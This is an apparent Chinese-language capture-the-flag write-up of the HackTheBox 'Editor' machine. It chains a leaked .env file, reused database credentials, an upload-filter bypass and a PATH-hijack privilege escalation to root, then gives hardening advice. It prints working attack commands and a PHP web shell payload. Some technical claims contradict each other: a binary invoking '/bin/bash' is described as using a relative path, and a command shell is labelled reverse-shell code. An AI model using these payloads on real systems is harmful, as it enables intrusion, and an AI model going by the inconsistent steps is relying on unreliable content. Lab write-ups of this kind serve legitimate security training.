1. 靶机渗透实战概述
最近在HackTheBox平台上挑战了Editor这台靶机,整个过程从Web应用配置文件泄露到最终获取root权限,涉及多个典型漏洞的串联利用。这种基于真实场景的渗透测试练习,对于理解企业环境中常见的安全隐患特别有帮助。下面我会详细拆解每个攻击环节的技术原理和实操细节,无论你是刚入门的安全爱好者还是想巩固实战经验的从业者,都能从中获得启发。
Editor靶机运行着一个内容管理系统(CMS),表面看只是个普通的文本编辑平台,但暗藏多处配置缺陷和权限漏洞。整个渗透过程主要分为三个阶段:通过暴露的配置文件获取初始访问权限、利用编辑器功能突破权限限制、最后通过二进制文件提权拿到系统最高控制权。这种层层递进的技术路线在企业内网渗透中非常典型。
2. 信息收集与初始访问
2.1 端口扫描与服务识别
使用Nmap进行全端口扫描是渗透测试的标准起手式。针对Editor靶机的扫描命令如下:
nmap -p- -T4 -A -v 10.10.11.252扫描结果显示开放了22(SSH)和80(HTTP)两个常规端口,其中Web服务运行在Nginx 1.18.0上。特别值得注意的是,在80端口的扫描结果中发现了/admin和/editor两个有趣路径。这种目录结构往往暗示着存在后台管理系统和某种编辑器组件。
经验提示:现代扫描工具会自动识别常见Web路径,但手动尝试
/robots.txt、/.git等特殊文件有时能发现自动化扫描遗漏的敏感信息。
2.2 配置文件泄露漏洞利用
访问/editor路径时,页面返回403禁止访问错误,但通过目录遍历技巧发现存在信息泄露漏洞:
curl http://10.10.11.252/editor/.env.env文件是许多Web应用的配置文件,常包含数据库凭证等敏感信息。果然,这里泄露了MySQL连接字符串:
DB_HOST=localhost DB_DATABASE=editor DB_USERNAME=editor DB_PASSWORD=sup3r_p4ss这种配置不当在真实环境中极为常见,开发者常误以为放在非Web目录就安全,却忽略了服务器配置错误可能导致文件被直接访问。
3. 权限提升与横向移动
3.1 数据库凭证利用
获取到数据库密码后,首先尝试SSH登录:
ssh editor@10.10.11.252使用泄露的密码sup3r_p4ss成功登录,但立即发现用户权限受限。转而通过MySQL客户端连接本地数据库:
mysql -u editor -p'sup3r_p4ss' editor在数据库中发现users表包含管理员凭证的MD5哈希。通过在线破解网站解密后,获得admin用户密码为n0t_s3cr3t。
3.2 编辑器功能滥用
登录Web应用的/admin界面后,发现系统内置的编辑器支持上传文件。通过修改HTTP请求头绕过前端验证,上传包含反弹Shell代码的PHP文件:
<?php system($_GET['cmd']); ?>访问上传的Web Shell并执行命令:
http://10.10.11.252/uploads/evil.php?cmd=whoami这种"前端限制+后端无验证"的安全缺陷在内容管理系统中屡见不鲜,特别是自定义开发的编辑器组件。
4. 特权提升与系统控制
4.1 SUID二进制文件分析
获取Web服务权限后,通过查找具有SUID位的程序发现可疑目标:
find / -perm -4000 2>/dev/null其中/usr/local/bin/editor这个自定义编辑器程序引起了注意。使用strings命令分析其内容:
strings /usr/local/bin/editor输出显示程序会调用系统命令/bin/bash,但没有使用绝对路径。这种路径劫持漏洞是典型的提权突破口。
4.2 路径劫持提权
在用户可写目录创建恶意bash脚本:
echo '/bin/bash -p' > /tmp/bash chmod +x /tmp/bash修改PATH环境变量优先搜索/tmp目录:
export PATH=/tmp:$PATH执行SUID程序后成功获取root shell:
/usr/local/bin/editor whoami # 返回root这种提权方式的本质是程序在调用系统命令时,未使用绝对路径导致攻击者可以通过环境变量控制执行流程。
5. 防御措施与修复建议
5.1 配置安全加固
文件权限控制:
- Web目录下的.env等配置文件应设置为600权限
- 使用
chattr +i命令防止文件被修改 - Nginx配置中应禁止访问点文件(.*)
数据库安全:
- 应用账户使用最小必要权限
- 密码不应硬编码在配置文件中
- 考虑使用动态密钥管理服务
5.2 代码审计要点
文件上传功能:
- 必须进行文件内容校验而不仅是扩展名检查
- 上传目录设置为不可执行
- 随机化上传文件名防止直接访问
系统命令调用:
- 始终使用绝对路径调用系统程序
- 避免使用system()等危险函数
- 实施严格的输入过滤
5.3 系统层防护
SUID管理:
- 定期审计具有SUID位的程序
- 删除非必要的SUID权限
- 对自定义程序进行安全测试
日志监控:
- 监控.env等敏感文件的访问日志
- 设置SSH登录异常告警
- 记录所有提权操作行为
6. 渗透测试经验总结
在实际操作Editor靶机的过程中,有几个关键点值得特别注意:
信息收集要彻底:最初扫描时差点忽略.env文件,后来是通过查看Nginx默认配置才想到检查这个常见泄露点。渗透测试中,对每个服务都要检查其默认配置和常见漏洞。
漏洞利用要灵活:Web Shell上传时,前端做了严格的扩展名检查,但通过Burp Suite拦截修改Content-Type就轻松绕过。这种"前端限制+后端无验证"的模式在真实Web应用中非常普遍。
提权路径要清晰:找到SUID程序只是开始,关键是要分析程序行为。使用ltrace/strace跟踪系统调用,发现其调用了相对路径的bash,这才确定了提权方案。
这个靶机涵盖了从Web到系统的完整攻击链,每个环节都对应着企业环境中真实存在的安全隐患。建议在掌握基本方法后,尝试不同的攻击路径组合,这对构建完整的渗透测试思维很有帮助。